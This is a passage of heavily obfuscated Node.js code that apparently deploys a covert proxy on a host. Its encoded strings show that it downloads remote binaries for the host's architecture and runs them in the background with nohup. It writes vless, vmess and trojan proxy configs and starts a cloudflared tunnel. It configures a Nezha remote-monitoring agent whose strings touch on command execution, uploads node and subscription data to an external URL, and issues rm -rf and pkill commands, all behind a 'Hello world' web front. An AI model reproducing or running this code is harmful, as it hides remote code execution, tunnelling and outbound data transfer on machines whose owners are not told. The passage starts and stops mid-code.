0x44fae6(0x34d,0x40e,0x452,0x25a)]['destOverri'+'de']=[_0x234145[_0x1e06a4(-0x2b6,-0x1dd,-0x1e8,-0x19a)],_0x234145[_0x1e06a4(-0x24f,-0x271,-0x2f3,-0x378)],_0x1e06a4(-0x8c,-0x142,-0x80,-0x173)],_0x1db618[_0x44fae6(0x34d,0x40e,0x452,0x25a)]['metadataOn'+'ly']=![];const _0x4bf238={};_0x4bf238['id']=UUID,_0x4bf238[_0x1e06a4(-0x113,0x2b,0x23,0x26)]=0x0;const _0x2e89c4={};_0x2e89c4[_0x1e06a4(-0x1e1,-0x221,-0x2fa,-0x2c3)]=[_0x4bf238];const _0x5a1b17={};_0x5a1b17[_0x1e06a4(-0x4d,-0x19c,-0x135,-0x177)]=_0x44fae6(0x170,0x2ba,0x237,0x224)+'o';const _0x3d3c34={};_0x3d3c34[_0x1e06a4(-0x27d,-0x29b,-0x27e,-0x281)]='ws',_0x3d3c34[_0x1e06a4(-0x13e,-0x134,-0x19d,-0x1b6)]=_0x5a1b17;const _0x161885={};_0x161885['port']=0xbbb,_0x161885[_0x44fae6(0x1e0,0x21a,0x2ca,0x15b)]=_0x234145[_0x1e06a4(-0x80,0xbd,0x83,-0x1b2)],_0x161885[_0x44fae6(0x201,0x255,0x288,0x128)]=_0x44fae6(0x106,0x3a,0x54,0x156),_0x161885[_0x44fae6(0x2f1,0x325,0x32a,0x394)]=_0x2e89c4,_0x161885[_0x44fae6(0x25c,0x223,0x15f,0x194)+_0x1e06a4(-0xa7,-0xb1,-0x16,-0x36)]=_0x3d3c34,_0x161885[_0x1e06a4(-0x68,-0x180,-0x199,0xc1)]={},_0x161885[_0x1e06a4(-0x68,-0x180,-0x199,0xc1)]['enabled']=!![],_0x161885[_0x1e06a4(-0x68,-0x180,-0x199,0xc1)][_0x44fae6(0x24a,0x169,0x2c4,0x12b)+'de']=[_0x234145[_0x1e06a4(-0x2b6,-0x199,-0x30c,-0x366)],'tls',_0x234145['IMSlh']],_0x161885[_0x1e06a4(-0x68,-0x180,-0x199,0xc1)][_0x1e06a4(-0x76,-0x72,-0x13c,-0x134)+'ly']=![];const _0x24a515={};_0x24a515[_0x44fae6(0x27e,0x308,0x206,0x1be)]=UUID;const _0x3d88b4={};_0x3d88b4[_0x1e06a4(-0x1e1,-0x1de,-0xad,-0x166)]=[_0x24a515];const _0x53ea94={};_0x53ea94[_0x44fae6(0x368,0x49a,0x263,0x245)]=_0x1e06a4(-0x1bc,-0x2ae,-0x1ee,-0x302)+'go';const _0xc314a7={};_0xc314a7[_0x44fae6(0x133,0x12f,0x1e2,0x14c)]=0xbbc,_0xc314a7[_0x44fae6(0x1e0,0x117,0x2b8,0x30b)]='127.0.0.1',_0xc314a7[_0x1e06a4(-0x1b4,-0x2a5,-0x1a8,-0x2e9)]=_0x234145[_0x1e06a4(-0x275,-0x223,-0x397,-0x311)],_0xc314a7[_0x44fae6(0x2f1,0x1b8,0x1b7,0x26e)]=_0x3d88b4,_0xc314a7[_0x1e06a4(-0x159,-0x272,-0x135,-0xb3)+_0x44fae6(0x30e,0x339,0x219,0x1f9)]={},_0xc314a7[_0x44fae6(0x34d,0x406,0x3c0,0x29d)]={},_0xc314a7[_0x1e06a4(-0x159,-0x272,-0x135,-0xb3)+_0x44fae6(0x30e,0x339,0x219,0x1f9)][_0x44fae6(0x138,0x207,0x3e,0x11a)]='ws',_0xc314a7[_0x1e06a4(-0x159,-0x272,-0x135,-0xb3)+_0x44fae6(0x30e,0x339,0x219,0x1f9)][_0x44fae6(0x1b2,0x274,0x19d,0x88)]=_0x234145[_0x44fae6(0x127,0xfd,0x144,0x223)],_0xc314a7[_0x1e06a4(-0x159,-0x272,-0x135,-0xb3)+_0x44fae6(0x30e,0x339,0x219,0x1f9)][_0x44fae6(0x277,0x342,0x314,0x3a0)]=_0x53ea94,_0xc314a7[_0x44fae6(0x34d,0x406,0x3c0,0x29d)][_0x1e06a4(-0x21e,-0x367,-0x165,-0x322)]=!![],_0xc314a7[_0x44fae6(0x34d,0x406,0x3c0,0x29d)][_0x1e06a4(-0x16b,-0x1cb,-0x21e,-0x67)+'de']=[_0x234145[_0x1e06a4(-0x2b6,-0x212,-0x295,-0x23c)],_0x234145[_0x44fae6(0x166,0x1d2,0x124,0x11d)],_0x234145[_0x44fae6(0x161,0xbc,0x19b,0x29c)]],_0xc314a7[_0x44fae6(0x34d,0x406,0x3c0,0x29d)][_0x1e06a4(-0x76,-0x57,-0x15c,-0x9d)+'ly']=![];const _0x4b94b4={};_0x4b94b4[_0x44fae6(0x111,0x260,0x1e3,0x25e)]=['https+loca'+_0x1e06a4(-0x1f5,-0x323,-0x2d3,-0xb7)+_0x1e06a4(-0xe4,-0xf,-0x1c8,-0x5)+'y'];const _0x1b4ef6={};_0x1b4ef6[_0x1e06a4(-0x1b4,-0xa2,-0x2d0,-0x276)]=_0x1e06a4(-0x5f,-0x2,-0xce,0x10),_0x1b4ef6[_0x44fae6(0x216,0x160,0x1cd,0x207)]=_0x234145[_0x44fae6(0x2c6,0x313,0x287,0x30f)];const _0x4e3c6c={};_0x4e3c6c[_0x44fae6(0x201,0x193,0x2c8,0x33f)]=_0x234145['BvtDb'],_0x4e3c6c[_0x44fae6(0x216,0x1eb,0x124,0x10f)]=_0x234145[_0x1e06a4(-0x19e,-0x187,-0x14f,-0x209)];const _0x4a77f3={};_0x4a77f3[_0x1e06a4(-0x2ba,-0x21d,-0x3c5,-0x2f6)]=_0x333869,_0x4a77f3[_0x1e06a4(-0x235,-0x2b4,-0x18f,-0x375)]=[_0x52d620,_0x2ce1a3,_0x1db618,_0x161885,_0xc314a7],_0x4a77f3[_0x44fae6(0x1df,0x1cd,0x2f4,0x9a)]=_0x4b94b4,_0x4a77f3[_0x44fae6(0x1a4,0x1ba,0x52,0x1c4)]=[_0x1b4ef6,_0x4e3c6c];const _0x29d9a3=_0x4a77f3;fs[_0x1e06a4(-0x2ab,-0x1da,-0x3f5,-0x35b)+_0x1e06a4(-0x223,-0x192,-0x1bb,-0x1bb)](path[_0x1e06a4(-0xc0,-0x193,-0x33,-0xed)](FILE_PATH,_0x234145['GJqNY']),JSON['stringify'](_0x29d9a3,null,-0x2*-0xb17+0x1c65+-0x3291));}function _0x250a(){const _0x5a4ccb=['skyrc','dnelF','rojan-argo','1|4|0|3|2|','gHdxz','anqtI','m64.ssss.n','lpBga','dxrKy','url','qpnkr','PROJECT_UR','mHmUi','\x20\x20-\x20servic','JRpus','p2\x20run\x20--t','pop','c0d5706b-d','DCdzS','QtMGM4Zi00','all','vice:\x20http','ECdZa','&path=%2Ft','MdOdF','&path=%2Fv','NEZHA\x20vari','\x0adisable_f','orbBr','906210YbvwoB','\x20successfu','--loglevel','/api/add-s','96IDOgkw','lse\x0adisabl','DnVnB','PPuRW','60#','eEQcg','\x0a\x20\x20\x0atrojan','xXRTVNV1l0','curl\x20-sm\x205','yagYU','NAME','vfXwx','kOfYy','\x20-c\x20\x22','dcQkX','mkdirSync','includes','UPLOAD_URL','destOverri','UZszd','rpYpy','vyKgh','host=','pQJJT','mWCfB','\x0askip_conn','209920GlMEcD','rkiAG','EItvn','/api/delet','Psvlu','JOBnp','klmnopqrst','EDJFJ','THHyh','ILijg','streamSett','lBDbG','ntBog','Troni-CF-P','n/json','disable_co','orce_updat','ent\x20archit','UUID','PcpWt','l:\x20http2\x0a\x20',':\x0a\x20\x20\x20\x20\x20\x20\x20\x20','https://am','KyOot','filter','lnHfD','LMfPI','\x20\x0a\x20\x20ingres','SFdGi','0.0.2.ip6.','TraTi','RLmyH','d\x20-e\x20\x27s/\x20/','on\x20uploade','eiJ9','alpn','fmquZ','wsSettings','ccessfully','ty,\x20use\x20qu','QlWOv','AuRtr',',\x20re-runni','2053','password','HUbpG','tGRnc','Error\x20exec','CBkiP','uKuFK','tartserver','stringify','LHNnQ','tls','e_auto_upd','MiLCJ0Ijoi','apply','wpIkC','type','clear','NVozT','dest','env','wyZvN','STROV05qT1','catch','arm','/config.js','\x0a\x20\x20\x20\x20\x20\x20ser','abcdefghij','Dobug','UzAwTXpCaU','oYmpA','send','SLeMH','x&type=ws&','tic\x20access','LXAHW','g\x20error:\x20','n\x20connect\x20','alterId','console','Fioss','r\x20the\x20curr','pYboS','aid','applicatio','\x20-c\x20','rm\x20-rf\x20','jSgBr',':\x20false\x0auu','amd','ng\x20on\x20port','nt:\x20true\x0as','ARGO_AUTH','config.yam','ARGO_DOMAI','te\x20--repor','config.jso','XevXx','\x0a\x20\x20\x0avmess:','DIIiB','atlvk','/vless-arg','access\x20tas','sion\x20auto\x20','rWEIx','atus:404\x0a\x20','d64.ssss.n','l\x202>&1','ePxVd','sub.txt','axios','gyzwA','--skip-con','le\x20','TsJuW','or\x20','JOVEl3T1dF','uvwxyz','YVQhc','?security=','ArgoDomain','FIHAe','status','mismatch\x20T','wsqWv','8/dns-quer','arch','0.7.4.0.1.','peed.cloud','HzPJa','yc.mn/v1','tiEnZ','http','YRMUI','8443','les:','SUB_PATH','php\x20runnin','XGZPe','\x0ause_gitee','direct','2096','ARGO_AUTH\x20','\x0a\x20\x20protoco','ACikn','UuXCZ','close','og:','/dev/null','then','pipe','\x0aclient_se','QCxbt','eStream','id:\x20','\x20not\x20found','\x20info\x20--ur','settings','\x20-s\x20','KEpFK','unlinkSync','join','glPBC','and:\x20','https://ar','FMHqe','unning','KdZMS','finish','OgtRC','__proto__','QEqbY','exec','Thank\x20you\x20','k\x20added\x20su','y:\x20true\x0a\x20\x20','IlkzW','random','://localho','\x0a\x20\x20tunnel:','dzSfA','hmZDI2ZGVk','NXTia','d\x20successf','://','tunnel\x20--e','ings','SMyXh','ICMXX','o?ed=2560','tlDhC','none','web\x20runnin','lcSQA','qadef','\x20false\x0adis','l\x202>&1\x20&','createWrit','encoding','jseBS','443','micjQ','push','\x0a\x20\x20\x20\x20\x20\x20ori','forEach','yzFRL','sxHjT','kydMs','2083','match','ick\x20tunnel','SdYpZ','veqgE','quic','HrLGl','xists','gFtEu','Can\x27t\x20find','rcuiO','17715eCbZhd','mmand_exec','to\x20tunnel','pzPsb','caZyv','GVvwS','yXMWK','xtls-rprx-','tjoiH','BvtDb','3269950EGdJzl','oVQee','cdkMo','/sub.txt\x20s','mYyVX','tpgHl','metadataOn','util','QHhqh','gDwBN','fileName','AEGqw','YLpKj','Add\x20automa','&fp=firefo','ute:\x20false','ssuPV','untry_code','nnNDm','automatic\x20','sniffing','LxMTu','JrIvn','\x20task\x20fail','tcp','ials-file:','e-nodes','int\x20$26\x22-\x22','NEZHA_SERV','freedom','error','ssKwj','text/plain','pWTMJ','qUhBO','zTBuL','JLvjG','\x0adebug:\x20fa','4\x0aserver:\x20','3258296hNauVZ','ng\x20bot\x20to\x20','hxgDh','\x0a\x20\x20credent','IFZdc','?encryptio','headers','p2\x20--logfi','path','tCrtY','oBqIL','set','SCAaw','sni','thQZq','t,use\x20toke','rxlIU','re_tls:\x20tr','VLEmu','urity=tls&','ble\x20is\x20emp','access','trim','yuxmS','aIbBY','IpuZR','\x22\x20>\x20/dev/n','_to_upgrad','ocalhost:','kEUry','184IkylyC','xFZMv','uWuyj','firefox','ostname:\x20','enXBl','l\x20http://l','bind','cret:\x20','\x20a\x20file\x20fo','f\x20/im\x20','rt_delay:\x20','arm64','\x202>&1','cdns.doon.','del\x20/f\x20/q\x20','ning','Download\x20','ezPWx','n\x20--skip-p','less-argo%','se\x0agpu:\x20fa','net/add-ur','WnGXt','QmnMy','isFile','error\x20in\x20s','l\x20run','TunnelSecr','/boot.log\x20','kip_procs_','e:\x20true\x0adi','pkill\x20-f\x20\x22','p.1.9.4.8.','Ycrte','RikYg','log','decryption','oDomain','piSkZ','eVSbB','odes','tunnel.jso','MEdXF','floor','tunnel.yml','\x20https://s','vmess','charAt','2087','uYIpU','writeFileS','get','PlMqR','MSIXD','readFileSy','basename','length','servers','VHtrP','this\x20scrip','BmOGR','oken\x20','mgLuX','App\x20is\x20run','AUTH\x20varia','base64','WbuVQ','host','ctvxn','able_send_','yc.mn/agen',';\x20charset=','BVvcv','matic\x20acce','\x20is\x20runnin','\x0a\x20\x20\x20\x20','ull\x202>&1','CLInX','pBhYv','azEMK','2425488RyOBWr','ection_cou','_/g\x27','uting\x20comm','nodes','AmHaR','nroaj','ciRRg','rNvnl','lly','fileUrl','port','./tmp','xvKtS','oo.serv00.','1590001NkkTeZ','network','panel','kLZRf','JFsDN','mJTGe','FBnEV','blackhole','aved\x20succe','ugAqk','$18}\x27\x20|\x20se','ing\x20boot.l','NlzVq','\x20already\x20e','split','test','/config.ya','\x0avless://','nction()\x20','wrBos','zYxOi','unnelSecre','VIobj','NUDJA','RooIr','4e2-31a0ec','PORT','\x20--disable','recursive','zpNSq','search','etdcF','LoTjq','toKqp','add','LZPmP','VlmSp','ceGDQ','cSKPF','tlLva','--config\x20','arpa','IMSlh','--no-autou','OuVXQ','nTpSJ','KKmbv','xGZHa','JdiAM','vless','trace','yc.mn/web','veVWF','Nodes\x20uplo','readdirSyn','dhMsU','FsXww','/vmess-arg','aepMx','EPkil','OaUyZ','Wqszt','platform','HRmAT','sni=','toString','DlYAB','SMoLi','ktMDkwYjE5','XoMMZ','http\x20serve','lsMqB','ginRequest','inbounds','ARGO_PORT','pdate\x20--pr','cpBIx','mbNBz','Error\x20read','%3Fed%3D25','ssfully','\x20>\x20nul\x202>&','post','noTLSVerif','/api/add-n','unlink','\x20-p\x20','ZIyOI','DpIjj','message','t\x20failed\x20f','ync','oDofV','t,\x20enjoy!','response','trMDd','enabled','from','jOHuV','Subscripti','fPjcc','mvzmg','MszxN','zVemw','SgPOU','st:','LJcKp','WdceN','otocol\x20htt','outbounds','UZOjS','scy','Content-Ty','wAGrN','icaAK','r\x20is\x20runni','dvLSm','WaRHN','CFIP','/tunnel.ym','level','nBQzw','Empowermen','security','ml\x22\x20>/dev/','\x20-F\x5c\x22\x20\x27{pr','warn','\x20failed:\x20','khRJD','meta\x20|\x20awk','n=none&sec','GJqNY','VevOG','Unhandled\x20','npm\x20runnin','true','list.txt','l://8.8.8.','-auto-upda','unshift','IIhwx','for\x20','szQeG','yc.mn/bot','d:\x20','zcbkO','pbhJf','flare.com/','klimW','table','xWNfr','query:\x20fal','mLNrF','{}.constru','LZDse','ykbTe','boot.log','clients','nohup\x20','CdvQS','cVnLR','sable_nat:','e:\x20http_st','Error\x20in\x20s','wIEVF','BmvoC','rn\x20this\x22)(','MGMzN2Y2Ii','dns','listen','vMhex','xJPJb','PJfvU','uAkhn','Zdskv','RwPvH','prototype','YmZiMDI4Mz','constructo','aRGcI','MEriY','\x20>/dev/nul','6a2fdf','pAFGG','YQSQN','map','E3ZDdhODM0','YMJiY','substring','InGnE','child_proc','t\x20success\x20','win32','UtRGx','/trojan-ar','N\x20or\x20ARGO_','ZtPMz','utf-8','ggOji','for\x20using\x20','eyJhIjoiMj','s:\x0a\x20\x20\x20\x20-\x20h','protocol','aded\x20succe','trojan','SIsOd','dge-ip-ver','obtain\x20Arg','ywzYn','kSADw','FILE_PATH','net','wicyI6Ik5q','FosHA','ecture','data','Error\x20down','vefCn','/null\x202>&1','Hello\x20worl','3Fed%3D256','count:\x20tru','existsSync','tag'];_0x250a=function(){return _0x5a4ccb;};return _0x250a();}function getSystemArchitecture(){function _0xbf3d87(_0x46e4cc,_0x4c82f9,_0x262ccc,_0x4b7ccd){return _0x1f8df2(_0x46e4cc-0xa2,_0x46e4cc- -0x15e,_0x4b7ccd,_0x4b7ccd-0x1b3);}const _0x3850ea={};_0x3850ea[_0x5390f4(0x1f6,0xfc,0x23c,0x11e)]=function(_0x483f28,_0x3464cd){return _0x483f28===_0x3464cd;};function _0x5390f4(_0x3004aa,_0x51f6c5,_0x21f28b,_0x31ac09){return _0x1f8df2(_0x3004aa-0x123,_0x21f28b- -0x405,_0x51f6c5,_0x31ac09-0x5);}_0x3850ea[_0x5390f4(0x2d4,0x167,0x180,0x102)]='aarch64',_0x3850ea[_0xbf3d87(0x49c,0x592,0x5c7,0x5c5)]=function(_0x565728,_0x32f734){return _0x565728===_0x32f734;},_0x3850ea[_0xbf3d87(0x3a5,0x26b,0x3a5,0x3f3)]=_0xbf3d87(0x560,0x5a8,0x46c,0x60e),_0x3850ea[_0xbf3d87(0x439,0x4bf,0x438,0x536)]=_0xbf3d87(0x4ec,0x40f,0x62d,0x604),_0x3850ea[_0x5390f4(0x20c,0x136,0x16c,0x29e)]=_0x5390f4(0x1bd,0x11d,0x25e,0x29b);const _0x245041=_0x3850ea,_0x4e05b0=os[_0x5390f4(0x13b,0x3ba,0x283,0x1d9)]();if(_0x245041[_0xbf3d87(0x4e3,0x534,0x42a,0x4dd)](_0x4e05b0,_0x5390f4(0x278,0x219,0x245,0x25b))||_0x245041[_0x5390f4(0x204,0x1bc,0x23c,0x325)](_0x4e05b0,_0xbf3d87(0x5e2,0x717,0x68f,0x4d6))||_0x245041[_0x5390f4(0x361,0x2e7,0x23c,0x2ad)](_0x4e05b0,_0x245041[_0x5390f4(0x1e1,0x88,0x180,0x298)])){if(_0x245041['kOfYy'](_0x245041[_0xbf3d87(0x3a5,0x44f,0x407,0x3b2)],_0x5390f4(0x31c,0x3cf,0x2b9,0x246)))return _0x245041['vMhex'];else{const _0x329d8d={};_0x329d8d[_0xbf3d87(0x3ab,0x432,0x482,0x26e)]=!![],_0x47e964[_0x5390f4(0x29d,0xca,0x1f8,0x11f)](_0x33374a,_0x329d8d);}}else return _0x245041[_0x5390f4(0x151,0x1ad,0x16c,0xcd)];}function downloadFile(_0xa0dc12,_0x2fa74c,_0x4c3e67){const _0x15003b={'DCdzS':function(_0x41f7f9,_0x2679a5){return _0x41f7f9!==_0x2679a5;},'oiZXs':'McDIE','dhMsU':function(_0x53aa3d,_0x506a85){return _0x53aa3d(_0x506a85);},'aRGcI':'(((.+)+)+)'+'+$','YMJiY':function(_0x39b74b,_0x413294){return _0x39b74b===_0x413294;},'vBJIE':_0xcbcfc9(0x446,0x3ec,0x2b9,0x53b),'fUYny':_0xfccaf7(0x127,0x12f,0x1ef,0x82),'QTvWF':function(_0x327da7,_0x2bcab2){return _0x327da7===_0x2bcab2;},'kagNe':_0xfccaf7(-0xfb,-0x8e,-0x172,-0xfa),'cuCMp':_0xcbcfc9(0x516,0x422,0x38b,0x2f4),'OuVXQ':'stream'},_0x4184aa=_0xa0dc12;function _0xfccaf7(_0x582485,_0x112917,_0x365afc,_0xdf8673){return _0x3fefcd(_0x582485-0xbc,_0x582485- -0x155,_0x365afc,_0xdf8673-0x13b);}if(!fs['existsSync'](FILE_PATH)){const _0x3ed685={};_0x3ed685[_0xcbcfc9(0x2bf,0x243,0x2d2,0x2b1)]=!![],fs[_0xcbcfc9(0x477,0x337,0x2f3,0x474)](FILE_PATH,_0x3ed685);}const _0x310717=fs[_0xfccaf7(0xe9,0x15d,0xe6,0x1c)+_0xcbcfc9(0x441,0x3dd,0x301,0x3f4)](_0x4184aa);function _0xcbcfc9(_0x227145,_0xe8f31f,_0x3a2f06,_0x350b85){return _0x3fefcd(_0x227145-0x1a0,_0xe8f31f-0x1cb,_0x350b85,_0x350b85-0x45);}_0x15003b['dhMsU'](axios,{'method':_0xcbcfc9(0x31f,0x1fb,0x1d2,0x1a8),'url':_0x2fa74c,'responseType':_0x15003b[_0xfccaf7(-0xcd,-0x13,-0x1c3,-0xae)]})[_0xfccaf7(0xb9,0x182,0x7a,0x1ca)](_0x87b671=>{const _0x1d7048={'AuRtr':_0x15003b[_0x4c0f74(-0x24a,-0x64,-0x26d,-0x195)],'TraTi':function(_0x1fc45f,_0x4b6bd2){function _0x53c59e(_0x3b27ba,_0x1a30fc,_0x5c6441,_0x58ec10){return _0x4c0f74(_0x3b27ba-0x1b6,_0x1a30fc-0xf1,_0x5c6441,_0x1a30fc-0x619);}return _0x15003b[_0x53c59e(0x53b,0x48c,0x50d,0x569)](_0x1fc45f,_0x4b6bd2);},'ssuPV':function(_0x281190,_0x5e1252,_0x43eb11){return _0x281190(_0x5e1252,_0x43eb11);},'tpgHl':_0x4c0f74(-0x126,-0x14b,-0x28c,-0x268)+_0x4c0f74(0x39,-0x11d,0x163,0xf)};_0x87b671[_0x58b7a3(-0x20c,0x3,-0x1aa,-0x127)]['pipe'](_0x310717);function _0x4c0f74(_0x4dd06b,_0x283ac6,_0x9d340c,_0x3c879a){return _0xfccaf7(_0x3c879a- -0x14f,_0x283ac6-0x14b,_0x9d340c,_0x3c879a-0x93);}function _0x58b7a3(_0x17c8c4,_0x3485f3,_0x2c228b,_0x573809){return _0xcbcfc9(_0x17c8c4-0x141,_0x573809- -0x425,_0x2c228b-0x3c,_0x3485f3);}_0x310717['on'](_0x15003b['vBJIE'],()=>{const _0x36831e={};_0x36831e['VHtrP']=_0x1d7048[_0x15e0f7(0x585,0x42e,0x4bb,0x5d9)];function _0x5d4ae6(_0x408128,_0x37d095,_0xa08f88,_0xaa2f4f){return _0x58b7a3(_0x408128-0x14e,_0xa08f88,_0xa08f88-0x5c,_0x408128-0x201);}const _0x5eee37=_0x36831e;function _0x15e0f7(_0x16f97b,_0x1ac649,_0x2b1827,_0x49fbf7){return _0x4c0f74(_0x16f97b-0x11e,_0x1ac649-0x19c,_0x16f97b,_0x2b1827-0x5bf);}if(_0x1d7048[_0x15e0f7(0x3ba,0x513,0x4b0,0x537)](_0x5d4ae6(0x125,0xd4,0x1d,0x1da),_0x5d4ae6(0x1a3,0x217,0x203,0x7a)))return _0x490b43[_0x5d4ae6(0x44,0xb,0x11c,0x135)]()[_0x5d4ae6(0x21,0x136,-0x61,-0xe0)](AKNzsR[_0x15e0f7(0x29a,0x2ec,0x352,0x38c)])[_0x15e0f7(0x4dd,0x407,0x3b8,0x3d4)]()[_0x5d4ae6(0xb5,0x1f2,-0x46,0x37)+'r'](_0x5bd750)['search'](AKNzsR[_0x15e0f7(0x276,0x206,0x352,0x4a1)]);else _0x310717[_0x15e0f7(0x560,0x644,0x526,0x555)](),console[_0x15e0f7(0x22a,0x261,0x33b,0x1ee)](_0x5d4ae6(0x25b,0x134,0x133,0x2f2)+path['basename'](_0x4184aa)+(_0x5d4ae6(0x101,0x15c,-0x45,0xbf)+'lly')),_0x1d7048[_0x15e0f7(0x548,0x687,0x589,0x6da)](_0x4c3e67,null,_0x4184aa);}),_0x310717['on'](_0x15003b['fUYny'],_0x2c984a=>{function _0xcc231(_0x543a44,_0x248303,_0x3c9785,_0x3a2c64){return _0x4c0f74(_0x543a44-0x11e,_0x248303-0x53,_0x3a2c64,_0x543a44-0x485);}function _0x339779(_0x3af7d9,_0x16f85d,_0x55c4b9,_0x3e7099){return _0x4c0f74(_0x3af7d9-0x7b,_0x16f85d-0x149,_0x3af7d9,_0x16f85d-0x37);}if(_0x15003b[_0x339779(-0x125,-0x11f,-0xd,-0x258)](_0x15003b['oiZXs'],'McDIE')){const _0x164e10={};_0x164e10[_0xcc231(0x349,0x3f2,0x495,0x2bd)]=_0x1d7048[_0x339779(0xfe,-0xa,0x1b,-0xa6)];const _0x3f3fbe=_0x164e10;_0x1d7048[_0x339779(0xb4,0x1,-0x21,0x1)](_0x21e1aa,_0xcc231(0x493,0x4c6,0x513,0x5e3)+_0x427dd3[_0x339779(-0x16c,-0x53,0x100,-0x3)]('\x20')+(_0x339779(-0xbf,-0x1c0,-0x231,-0x191)+'1'),_0x461c6b=>{function _0x38ba8e(_0x4fd60b,_0x58f9de,_0x32010b,_0x3d6e77){return _0x339779(_0x3d6e77,_0x32010b-0x429,_0x32010b-0x163,_0x3d6e77-0x4b);}function _0x3f03b6(_0x35db61,_0x2c615d,_0x35924c,_0x22fcef){return _0xcc231(_0x35db61-0x112,_0x2c615d-0x8c,_0x35924c-0xdc,_0x35924c);}_0x71e122[_0x3f03b6(0x4a5,0x48c,0x40c,0x402)](),_0x3be6dc['log'](_0x3f3fbe[_0x3f03b6(0x45b,0x535,0x4ac,0x312)]),_0x52f73c[_0x3f03b6(0x313,0x28f,0x1e5,0x2cc)]('Thank\x20you\x20'+'for\x20using\x20'+_0x3f03b6(0x32b,0x302,0x47d,0x322)+'t,\x20enjoy!');});}else{fs[_0x339779(-0x76,-0x1bc,-0x282,-0x1b3)](_0x4184aa,()=>{});const _0x1715bc=_0x339779(0x41,0x47,0x17a,-0x7e)+path[_0x339779(-0x2e5,-0x239,-0x2e0,-0x15a)](_0x4184aa)+_0xcc231(0x2bc,0x281,0x19d,0x184)+_0x2c984a[_0x339779(-0x8b,-0x1b8,-0x1d3,-0x2e3)];console[_0x339779(-0xa9,0xf,0xe9,0x6d)](_0x1715bc),_0x15003b['dhMsU'](_0x4c3e67,_0x1715bc);}});})[_0xcbcfc9(0x3bc,0x383,0x41b,0x4c8)](_0x22a20a=>{function _0xb201b8(_0x1b63a4,_0x38eee0,_0x115852,_0x41aa05){return _0xfccaf7(_0x1b63a4- -0x193,_0x38eee0-0x131,_0x38eee0,_0x41aa05-0x118);}function _0x430a82(_0x3b895f,_0x2cf89e,_0x4401b5,_0x3a734c){return _0xfccaf7(_0x3a734c-0x2fc,_0x2cf89e-0x176,_0x4401b5,_0x3a734c-0x89);}if(_0x15003b['QTvWF'](_0x15003b['kagNe'],_0x15003b['cuCMp']))_0x4b5e2b['chmod'](_0x56d643,_0x30f662,_0x289467=>{function _0x5c1acf(_0x17e1d2,_0x28a997,_0x46d12f,_0x1c1169){return _0x1045(_0x46d12f- -0x1b0,_0x1c1169);}function _0x50afdc(_0x241dc4,_0x2737f4,_0x51444a,_0x3663f2){return _0x1045(_0x51444a- -0x381,_0x3663f2);}_0x289467?_0x37deca['error'](_0x5c1acf(-0xba,-0x133,-0x20,0x4f)+'t\x20failed\x20f'+_0x50afdc(-0xdb,-0xfb,-0xdb,-0xba)+_0x266e8d+':\x20'+_0x289467):_0x2ac942[_0x50afdc(-0x228,-0x179,-0x2a7,-0x1e8)](_0x50afdc(-0x173,-0x27e,-0x1f1,-0x1b3)+_0x5c1acf(-0x8d,0x8d,0x25,0x25)+_0x5c1acf(-0x122,0xcc,-0xd,-0x13e)+_0x3ef84b+':\x20'+_0x5ef8da[_0x5c1acf(0xde,0x3c,-0x59,-0x143)](-0xf25*-0x1+-0x25c3+0x1*0x16a6));});else{const _0x398637=_0xb201b8(-0x34,0x8c,0x83,-0x86)+path[_0xb201b8(-0x2b4,-0x349,-0x336,-0x2de)](_0x4184aa)+_0xb201b8(-0x20d,-0x150,-0x2ca,-0x324)+_0x22a20a[_0x430a82(0x2ef,0x19c,0x172,0x25c)];console[_0xb201b8(-0x6c,0xa1,-0x18b,-0xd5)](_0x398637),_0x15003b[_0x430a82(0x25f,0x36d,0x294,0x23a)](_0x4c3e67,_0x398637);}});}async function downloadFilesAndRun(){function _0x1f6e13(_0x368701,_0x33dbc7,_0x15e83f,_0x13fe78){return _0x3fefcd(_0x368701-0xb9,_0x368701-0xa4,_0x33dbc7,_0x13fe78-0x2e);}const _0x2b671d={'fmquZ':function(_0x542701,_0x1007fa,_0x48ac37,_0x230e27){return _0x542701(_0x1007fa,_0x48ac37,_0x230e27);},'wrBos':_0x1d999c(-0x143,-0x41,0x3,-0x136),'SLeMH':'Content-Ty'+'pe','KEpFK':function(_0x38b702,_0x46212a){return _0x38b702!==_0x46212a;},'IpuZR':function(_0x411c3a,_0x4f7f1e){return _0x411c3a(_0x4f7f1e);},'fPjcc':function(_0x44cb8a,_0x3cc47e,_0xcae6b3){return _0x44cb8a(_0x3cc47e,_0xcae6b3);},'LZDse':_0x1d999c(0x13e,0xa9,0x192,0x137)+_0x1f6e13(0x229,0x2af,0x1ce,0x2d5),'gWLrO':function(_0x146c26,_0x4aaaae){return _0x146c26===_0x4aaaae;},'kSADw':'YGAFA','LHNnQ':_0x1f6e13(0xe0,0x125,0x17f,0x20a)+_0x1d999c(0x370,0x1f8,0x278,0x1a2),'PlMqR':_0x1d999c(0x234,0x338,0x1eb,0x1d1)+_0x1d999c(0x38,0x100,0xe8,0x16a)+_0x1d999c(-0x66,0x8e,-0x3,0xdc)+'t,\x20enjoy!','PcpWt':_0x1d999c(0x1c4,0x27a,0x181,0x10a)+_0x1d999c(0x26a,0x1b4,0x142,0x11e)+'uvwxyz','gDwBN':function(_0x43c183,_0x27e033){return _0x43c183<_0x27e033;},'pAFGG':function(_0xad85eb,_0xd972d4){return _0xad85eb*_0xd972d4;},'wTFeR':_0x1d999c(0x18e,0x10a,0xc4,0xa)+_0x1d999c(0x1f2,0x29d,0x16e,0x289)+':','oYmpA':function(_0x3f8052,_0x8c4ffe){return _0x3f8052(_0x8c4ffe);},'OaUyZ':function(_0x877018){return _0x877018();},'gyzwA':function(_0x325e2e,_0xd300a1){return _0x325e2e(_0xd300a1);},'veqgE':function(_0x273771,_0x5eb0ff){return _0x273771===_0x5eb0ff;},'xFZMv':_0x1f6e13(0x324,0x2ff,0x2ed,0x2b3),'qadef':_0x1d999c(0xbb,0x86,0xf9,0x184)+'loading\x20fi'+_0x1d999c(0x2ed,0x14a,0x1c5,0x1cd),'NaQFy':function(_0x1f9ac7,_0x319cf6){return _0x1f9ac7(_0x319cf6);},'dnelF':function(_0x4b5815,_0x35e584){return _0x4b5815&&_0x35e584;},'Fioss':_0x1f6e13(0x2e5,0x295,0x2bf,0x402),'rkiAG':_0x1f6e13(0x2a3,0x3b2,0x238,0x382),'ILijg':_0x1f6e13(0x2aa,0x396,0x355,0x2f5),'kEUry':_0x1f6e13(0x246,0x354,0x14a,0x27b),'tiAQN':'false','EPkil':function(_0xf41fe3,_0x3f0080){return 